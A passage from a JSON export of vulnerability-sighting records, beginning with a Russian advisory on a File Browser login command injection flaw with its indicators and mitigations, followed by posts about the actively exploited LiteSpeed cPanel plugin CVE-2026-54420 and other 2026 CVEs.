\u043f\u0430\u0440\u043e\u043b\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 2.63.6 \u043c\u0435\u0442\u043e\u0434 HookAuth.RunCommand \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0432\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 (username \u0438 password \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0438\u0437 \u0442\u0435\u043b\u0430 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438) \u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 (hook-\u043a\u043e\u043c\u0430\u043d\u0434\u044b) \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e os.Expand \u0431\u0435\u0437 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0415\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b hook-\u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, sh -c \"test $USERNAME = 'admin'\"), \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c POST-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 /api/login, \u0432\u043d\u0435\u0434\u0440\u0438\u0432  \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ;, |, `, $())  \u0432 \u043f\u043e\u043b\u044f \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f os.Expand \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u043f\u0440\u044f\u043c\u0443\u044e \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u043c\u0435\u043d\u0443, \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u043e\u043c \u041e\u0421 \u0434\u043e \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 File Browser.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u041f\u041e: \nFile Browser \u043d\u0438\u0436\u0435 2.63.6.\n\n\u0412\u0435\u043a\u0442\u043e\u0440:\nCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\ud83d\udd3bCVSS 4.0: 9.3 - \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n\u0422\u0438\u043f: \nCWE-78 (OS Command Injection), \nCWE-88 (Argument Injection), \nCWE-306 (Missing Authentication for Critical Function)\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u044b\u0435 POST-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a /api/login \u0441\u043e \u0441\u043f\u0435\u0446\u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ;, |, &&, $()) \u0432 \u043f\u043e\u043b\u044f\u0445 username \u0438\u043b\u0438 password.\n\u2022 \u041d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0447\u0435\u0440\u043d\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043b\u0443\u0436\u0431\u044b File Browser (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u0430\u043f\u0443\u0441\u043a /bin/sh, bash, curl, wget, nc).\n\u2022 \u041e\u0448\u0438\u0431\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f hook-\u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 \u0438\u043b\u0438 \u043b\u043e\u0433\u0430\u0445 File Browser, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439.\n\u2022 \u041d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043a \u0432\u043d\u0435\u0448\u043d\u0438\u043c IP-\u0430\u0434\u0440\u0435\u0441\u0430\u043c (\u043f\u0440\u0438\u0437\u043d\u0430\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f).\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 File Browser \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.63.6 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \n\u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 os.Expand \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0451\u043d, \u0430 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u2014 \u0441\u0442\u0440\u043e\u0433\u043e \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f (cmd.Env), \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u0445 \u0438\u043d\u0435\u0440\u0442\u043d\u044b\u043c\u0438.\n\n2. \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 Hook Authentication. \n\n3. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a File Browser. \u041d\u0435 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0439\u0442\u0435 File Browser \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 VPN, \u0431\u0435\u043b\u044b\u0435 \u0441\u043f\u0438\u0441\u043a\u0438 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430.  \n\n4. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043b\u043e\u0433\u0438 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 \u0447\u0435\u0440\u0435\u0437 \u0444\u043e\u0440\u043c\u0443 \u0432\u0445\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 03.06.2026.\n\n5. \u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430:\nhttps://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm", "creation_timestamp": "2026-08-06T00:00:58.951820Z"}, {"uuid": "2d37d8ce-4a37-48e4-8b71-750516bdd326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mofmr2cp5r2f", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has given U.S. government agencies three days to secure their servers against an actively exploited vulnerability (CVE-2026-54420) in the LiteSpeed cPanel user-end plugin.", "creation_timestamp": "2026-06-16T10:48:15.010324Z"}, {"uuid": "e99d5a75-6ff3-4a6f-8796-45028e5574b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mofn2u22ym2q", "content": "CISA\u304c\u653b\u6483\u306b\u60aa\u7528\u3055\u308c\u305fcPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u5225\u306e\u8106\u5f31\u6027\u306b\u8b66\u544a\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001LiteSpeed cPanel\u30e6\u30fc\u30b6\u30fc\u30a8\u30f3\u30c9\u30d7\u30e9\u30b0\u30a4\u30f3\u306b\u5b58\u5728\u3059\u308b\u7a4d\u6975\u7684\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u8106\u5f31\u6027\uff08CVE-2026-54420\uff09\u3078\u306e\u5bfe\u51e6\u306b\u3064\u3044\u3066\u3001\u7c73\u56fd\u653f\u5e9c\u6a5f\u95a2\u306b3\u65e5\u4ee5\u5185\u306e\u30b5\u30fc\u30d0\u30fc\u4fdd\u8b77\u3092\u547d\u3058\u307e\u3057\u305f\u3002 CVE-2026-48172\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044...", "creation_timestamp": "2026-06-16T10:54:12.785467Z"}, {"uuid": "ae92c69a-ba61-46d4-a4b4-1dcdddd143b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5416", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mofnhp7x6t2n", "content": "\ud83d\udfe0 CVE-2026-5416 - High (8.8)\n\nDue to the improper neutralization of special elements used in a name parameter a low privileged ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5416/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-16T11:00:54.845889Z"}, {"uuid": "de645ec2-c5c4-4c23-b77e-d6454323fbf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54420", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mofqovg7e62n", "content": "\ud83d\udcf0 CISA Keluarkan Peringatan Darurat: Celah Keamanan cPanel LiteSpeed Aktif Dieksploitasi Massal\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/06/16/celah-plugin-cpanel-litespeed-dieksploitasi-massal/\n\n#cisa #cpanel #cve-2026-48172 #cve-2026-54420 #exploit #gadget #hardware #hosti", "creation_timestamp": "2026-06-16T11:58:37.384621Z"}, {"uuid": "1908fec7-1bf8-46ff-9312-0d88b4481a9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54917", "type": "published-proof-of-concept", "source": "https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-w62w-66v9-vvgv", "content": "", "creation_timestamp": "2026-08-12T20:35:10.808575Z"}, {"uuid": "df7c88f3-99b0-43ee-b88a-da3804ad4a0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mofschtphv2l", "content": "Also watch the KEV layer.\n\nCISA added Cisco Catalyst SD-WAN Manager CVE-2026-20262 and LiteSpeed cPanel Plugin CVE-2026-54420 on June 15.\n\nCisco = enterprise control plane risk.\nLiteSpeed = shared hosting blast radius.\n\nRefs:\nwww.cisa.gov/sites/defaul...\nsec.cloudapps.cisco.com/security/cen...", "creation_timestamp": "2026-06-16T12:27:37.748241Z"}, {"uuid": "ac16efc3-90bd-49b4-a871-6f31c1d3069f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mofscjsx7o2m", "content": "- LiteSpeed advisory CVE-2026-54420: blog.litespeedtech.com/2026/06/01/s...\n- FIRST EPSS CVE-2026-54420: api.first.org/data/v1/epss...", "creation_timestamp": "2026-06-16T12:27:39.448080Z"}, {"uuid": "1fb9aaef-edfa-4442-9d82-5cd87754ad64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5416", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mofwivxh672f", "content": "CVE-2026-5416 - Command Injection via name parameter\nCVE ID : CVE-2026-5416\n \n Published : June 16, 2026, 10:16 a.m. | 2\u00a0hours, 52\u00a0minutes ago\n \n Description : Due to the improper neutralization of special elements used in a name parameter a low privileged remote attacker can ...", "creation_timestamp": "2026-06-16T13:42:38.602218Z"}, {"uuid": "4b274e8b-38ba-4332-bc6c-388094c98cea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mog5epzerg42", "content": "LiteSpeed cPanel CVE-2026-54420 Escalates to Root on Shared Hosts CISA added LiteSpeed cPanel CVE-2026-54420 to its KEV catalog with a 48-hour deadline as exploitation of the unauthenticated REST A...\n\n#Resources #Application #Security #CVE [\u2026] \n\n[Original post on dailysecurityreview.com]", "creation_timestamp": "2026-06-16T15:45:46.083662Z"}, {"uuid": "64b81a3b-3efb-4bc2-81a2-e3ad01761589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotto-litespeed-cpanel-plugin", "content": "Rilevato sfruttamenento attivo in rete della CVE-2026-54420 presente in cPanel, plugin del noto software LiteSpeed Web Server. Tale vulnerabilit\u00e0, qualora sfruttata, potrebbe consentire ad un utente remoto malintenzionato, gi\u00e0 in possesso di un accesso iniziale con privilegi limitati, di elevare i propri privilegi sui sistemi interessati.", "creation_timestamp": "2026-06-16T12:26:30.000000Z"}, {"uuid": "3a64e8fd-89c7-4f7d-8aec-8fa9930d0534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54298", "type": "published-proof-of-concept", "source": "https://github.com/withastro/astro/security/advisories/GHSA-jrpj-wcv7-9fh9", "content": "", "creation_timestamp": "2026-06-12T16:48:25.000000Z"}, {"uuid": "82604819-43bf-44f6-8be7-2b3b55593a8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54293", "type": "published-proof-of-concept", "source": "https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v", "content": "", "creation_timestamp": "2026-06-11T11:07:55.000000Z"}, {"uuid": "9fff630a-03a6-45ba-96e5-d4e0e70a6068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3moggylk4qh2f", "content": "\ud83d\udce2 CISA KEV ALERT: A LiteSpeed cPanel plugin flaw, CVE-2026-54420, is being actively exploited for root privilege escalation on shared servers. Federal agencies must patch by June 18. Hosting providers, check your systems! #CVE #KEV #CISA #CyberSecurity\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-16T18:37:46.627747Z"}, {"uuid": "47d99436-5688-4c9c-8feb-192724b3a0d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3moglmdq6l626", "content": "CISA adds LiteSpeed cPanel Plugin CVE-2026-54420 (privilege escalation) to KEV. Action: patch by June 18, 2026 and verify affected systems are updated. #Cybersecurity #Vulnerability #ThreatIntel\n\nSource: https://thehackernews.com/2026/06/cisa-flags-litespeed-cpanel-plugin-flaw.html", "creation_timestamp": "2026-06-16T20:00:22.712483Z"}, {"uuid": "071eb57c-305b-4ed8-9033-c4f9ad67e6d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54421", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mognqwzqvm2f", "content": "[OSSA-2026-023] Ironic: Sensitive properties returned unredacted in POST and PATCH HTTP responses (CVE-2026-54421)", "creation_timestamp": "2026-06-16T20:38:44.332104Z"}, {"uuid": "9aafbcf9-aa60-4ae3-b021-b9e58e438c4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mohbhd6yr22h", "content": "CISA warns of another cPanel plugin flaw exploited in attacks\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has given U.S. government agencies three days to secure their servers against an actively exploited vulnerability (CVE-2026-54420) in the LiteSpeed cPane\u2026\n#hackernews #news", "creation_timestamp": "2026-06-17T02:31:16.765664Z"}, {"uuid": "88daf337-a0a0-49eb-898a-6cfb973bc9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mohbhfp4ax2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-35273: 62 interactions\nCVE-2026-54420: 26 interactions\nCVE-2025-10263: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-54420: 21 interactions\nCVE-2026-20262: 8 interactions\nCVE-2026-48558: 8 interactions\n", "creation_timestamp": "2026-06-17T02:31:19.321996Z"}, {"uuid": "6d4b48ed-0df3-4426-94e4-6b3d4e57904d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/cybergeodigest.bsky.social/post/3mohwk4awoz2a", "content": "Today's CyberGeoDigest \u2014 20 stories\n\nTop: CISA Orders Agencies to Patch CVE-2026-54420 in LiteSpeed cPanel Plugin\n\n#InfoSec #CVE #CyberSecurity", "creation_timestamp": "2026-06-17T08:48:38.508656Z"}, {"uuid": "30af4f2b-ca11-4190-ad97-320c2273ef45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54069", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54069.yaml", "content": "", "creation_timestamp": "2026-06-17T04:18:47.000000Z"}, {"uuid": "a827a54e-0bbc-4b65-b041-847a76563657", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mohx74eegi2l", "content": "Joomla JCE CVE-2026-48907 and LiteSpeed cPanel CVE-2026-54420 are being actively exploited, enabling file uploads, PHP execution, and possible root escalation on shared hosting servers. #Joomla #LiteSpeed #CISA", "creation_timestamp": "2026-06-17T09:00:24.039309Z"}, {"uuid": "06170a80-5bc3-442f-b2df-fe57fc3051c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtf74jeoxj25", "content": "CVE-2026-54133 - jmespath.php\nOld versions of the jmespath.php library allow attackers to inject malicious PHP code into applications using the library. This could potentially allow attackers\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#jmespathphp #mtdowling #composer #CVE #infosec", "creation_timestamp": "2026-08-18T21:50:05.206585Z"}, {"uuid": "f8127da1-3598-4f1e-bc0f-3048120b18c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54194", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3moibkb2ia62m", "content": "CVE-2026-54194 - Critical PHP Object Injection in Fusion Builder <=3.15.4. CVSS 9.8. No patch available yet. Update or disable immediately. #CVE #WordPress #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54194/", "creation_timestamp": "2026-06-17T12:05:34.508810Z"}, {"uuid": "73e45ca4-852d-474f-a0a7-8bfb9cca1fd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54811", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moih4isqri25", "content": "CVE-2026-54811 - WordPress WP eMember plugin\nCVE ID : CVE-2026-54811\n \n Published : June 17, 2026, 9:51 a.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Unauthenticated SQL Injection in WP eMember < v10.9.4 versions.\n \n Severity: 9.3 | CRITICAL\n \n Visit the link for more det...", "creation_timestamp": "2026-06-17T13:45:15.353361Z"}, {"uuid": "47c63f2a-2934-4e6a-85a0-a531719d9ab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54185", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moih7e5wqh2v", "content": "CVE-2026-54185 - WordPress Cornerstone plugin\nCVE ID : CVE-2026-54185\n \n Published : June 17, 2026, 9:51 a.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Subscriber SQL Injection in Cornerstone < 7.8.8 versions.\n \n Severity: 8.5 | HIGH\n \n Visit the link for more details, suc...", "creation_timestamp": "2026-06-17T13:46:51.786887Z"}, {"uuid": "ddcdf252-52cf-442f-af11-33798ce6150c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54805", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moiidazo7y25", "content": "CVE-2026-54805 - WordPress Falang multilanguage plugin\nCVE ID : CVE-2026-54805\n \n Published : June 17, 2026, 9:51 a.m. | 3\u00a0hours, 17\u00a0minutes ago\n \n Description : Subscriber Privilege Escalation in Falang multilanguage <= 1.4.2 versions.\n \n Severity: 8.8 | HIGH\n \n Visit the ...", "creation_timestamp": "2026-06-17T14:06:55.734023Z"}, {"uuid": "bd87f1b7-9539-4baa-8ca2-6c4df3e74c60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 